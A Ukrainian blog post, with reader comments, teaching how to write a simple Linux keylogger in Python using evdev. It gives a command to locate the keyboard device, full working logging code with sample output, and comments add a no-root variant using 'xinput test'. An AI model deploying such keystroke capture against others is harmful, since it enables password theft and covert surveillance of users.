Блоґ одного кібера

Історія хвороби контуженого інформаційним вибухом

Пишемо простий keylogger для Linux

with 6 comments

Кейлоггер це така шкідлива корисна програма яка записує всі натискання клавіш користувачем в будь-яких інших програмах операційної системи. І сьогодні ми вивчатимемо як таке написати. Якщо ви навчитесь працювати з файлами в Linux – ви зможете все. Серйозно. Тому я колись планую детально вивчити і написати про файли там.

Все в лінуксі файл, і клавіатура – теж. Щоб знати який – відкриваємо /proc/bus/input/devices. Нас цікавить абзац в якому написано про клавіатуру, і він зазвичай містить рядок EV=120013, тому можете пошукати його. Коли знайшли абзац, читаємо в ньому рядок H: Handlers=sysrq kbd event3.

Можна дістати однією командою:

cat /proc/bus/input/devices | grep EV=120013 -B 2 | grep event

Слово event3 означає що нам треба читати файл пристрою /dev/input/event3.

Так як в заголовку було слово простий, ми спростимо собі життя і поставимо деяку бібліотеку:

pip-2.7 install evdev

Ця бібліотека працює з пристроями подій (тобто клавіатурою, мишею і т.п.). Далі вставлю зразу код, тому що він відкоментований і очевидний:

# coding=utf-8

import sys
from evdev import InputDevice, categorize, KeyEvent

def main():
    if len(sys.argv) < 2:
        print('Please pass device (/dev/input/eventX) as first argument.')
        return

    log_keys(sys.argv[1])


def log_keys(device):
    for event in InputDevice(device).read_loop():
        # Перетворити загальну подію в подію певного класу
        event = categorize(event)
        if (
            isinstance(event, KeyEvent) # нас цікавлять події клавіатури
            # а саме - натискання
            and (event.keystate == KeyEvent.key_down)
        ):
            # keycode - це рядок виду "KEY_S", тому ми обрізаємо "KEY_"
            # і виводимо всі клавіші в одному рядку, через кому
            print(event.keycode[4:], end=', ')
            # так як вивід буферизований, а буфер починає записуватись коли
            # починається новий рядок, нам потрібно його вручну змусити 
            # виводитись:
            sys.stdout.flush()
            
if __name__ == '__main__':
    main()

Тепер, коли це все запустити для пристрою який в нас займається клавіатурою, можна побачити натиснені клавіші. Наприклад, що я тиснув, коли писав цю публікацію:

$~ sudo python3.3 keylogger.py /dev/input/event3
... F12, LEFTBRACE, S, O, U, R, C, E, C, O, D, E, SPACE,
L, A, N, G, U, A, G, E, EQUAL, LEFTSHIFT, APOSTROPHE,
P, Y, T, H, O, N, LEFTSHIFT, APOSTROPHE, RIGHTBRACE,
LEFTBRACE, SLASH, S, O, U, R, C, E, C, O, D, E, RIGHTBRACE,
LEFTSHIFT, ENTER, N, BACKSPACE, P, L, A, I, N, WAKEUP, F12, 

Щоб свиснути чийсь пароль звісно ще доведеться записувати не тільки коли SHIFT опущено, але й коли піднято, але не варто таким займатись. 🙂

Посилання

  1. logkeys.cc:49
  2. logkeys.cc - determine_input_device
  3. github.com – evdev

Картинка для привертання уваги:
Backlit keyboard

Advertisements

Written by bunyk

Березень 8, 2015 at 00:29

Оприлюднено в Кодерство

Tagged with ,

Відповідей: 6

Subscribe to comments with RSS.

  1. Гм, на моїй машині /dev/input/event4 rw-r—– для root:root. Так що без рутування машини цей кілоггер не працює)

    Є ще один варіант: логування X events через утилітку типу xinput. Якщо утиліта вже встановлена, то рут не потрібен 🙂 А якщо і не встановлена, то можна розібратись, як відтворити її функціональність без рута. Все, що треба — це подивитись вивід DISPLAY=:0 xinput, в ньому визначити id клавіатури XTEST (скажімо, 5) та потім за допомогою DISPLAY=:0 xinput test 5 ловити події клавіатури.

    dmytrish

    Березень 8, 2015 at 01:48

    • Хоча, взагалі кажучи, /dev/input/event* ловить всі події, які приходять від фізичної клавіатури, мій спосіб — тільки події X Window.

      dmytrish

      Березень 8, 2015 at 01:50

    • на моїй – crw- — —

      > xinput
      або xev

      danbst

      Березень 12, 2015 at 23:41

  2. І цей скріпт можна запустити без привілегій Root?

    Nemo

    Березень 8, 2015 at 01:51

    • Поки писав коментар, те саме запитання написав dmytrish )))

      Nemo

      Березень 8, 2015 at 01:52

    • Ну звісно що тільки з рута. Того що нема чого робити те, на що у вас нема прав. 🙂

      bunyk

      Березень 8, 2015 at 11:01


Залишити відповідь

Заповніть поля нижче або авторизуйтесь клікнувши по іконці

Лого WordPress.com

Ви коментуєте, використовуючи свій обліковий запис WordPress.com. Log Out / Змінити )

Twitter picture

Ви коментуєте, використовуючи свій обліковий запис Twitter. Log Out / Змінити )

Facebook photo

Ви коментуєте, використовуючи свій обліковий запис Facebook. Log Out / Змінити )

Google+ photo

Ви коментуєте, використовуючи свій обліковий запис Google+. Log Out / Змінити )

З’єднання з %s

%d блогерам подобається це: